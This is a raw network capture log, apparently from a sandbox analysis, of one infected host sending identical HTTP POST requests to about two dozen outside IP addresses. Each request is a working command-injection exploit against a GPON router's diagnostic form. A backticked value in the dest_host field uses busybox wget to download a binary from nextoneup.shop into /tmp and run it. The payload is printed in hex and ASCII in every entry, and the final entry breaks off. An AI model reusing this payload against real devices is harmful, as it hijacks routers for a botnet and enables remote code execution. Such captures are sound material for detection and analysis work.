XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.13	44064	37.214.137.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770190001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.13	44410	148.63.161.248	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770206928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.13	56348	148.187.85.210	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770220995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.13	45934	202.102.186.90	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770246029 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.13	48456	79.26.176.72	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770287037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.13	33460	212.111.183.196	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770319939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.13	41980	5.241.240.22	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770334959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.13	41064	212.112.34.155	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770376921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.13	45184	148.187.112.108	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770411015 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.13	39256	212.83.186.187	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770438910 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.13	60454	94.245.93.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770458937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.13	56532	2.157.252.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770492077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.13	39306	123.27.135.163	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770560980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.13	52760	178.11.224.122	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770575047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.13	60812	123.63.48.241	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770612955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.13	55950	210.55.89.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770631075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.13	54862	212.39.228.100	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770662069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.13	33048	202.200.26.60	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770699024 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.13	48458	5.26.35.127	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770740032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.13	34744	123.198.41.101	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770767927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.13	49704	178.237.25.223	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770781994 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.13	56978	5.151.148.58	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770816088 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.13	51382	123.246.10.217	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770854950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.13	50724	94.102.122.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770879984 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.13	45636	148.147.121.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770894051 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.13	41924	210.124.42.110	443

Timestamp	Bytes transferred	Direction	Data
